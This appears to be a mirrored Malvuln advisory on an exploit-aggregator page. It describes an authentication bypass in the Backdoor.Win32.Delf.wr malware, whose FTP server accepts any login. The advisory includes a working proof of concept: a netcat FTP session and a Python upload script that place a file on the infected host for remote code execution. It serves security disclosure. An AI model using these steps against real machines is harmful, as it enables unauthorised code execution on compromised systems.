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Backdoor.Win32.Delf.wr / Authentication Bypass RCE

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090014

Below is a copy:

Backdoor.Win32.Delf.wr / Authentication Bypass RCE
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.wr
Vulnerability: Authentication Bypass RCE
Description: The CrazyInvadres Group bY SMURF_NS malware runs an FTP server on TCP port 64554. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: fc74e80ff2f49380972904d77df1c0f1
Vuln ID: MVID-2021-0326
Disclosure: 08/30/2021


Exploit/PoC:
nc64.exe 192.168.18.129 64554
220 CrazyInvadres Group bY SMURF_NS ;)
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,129,194,21).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49685
DOOM="DOOM.js"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()



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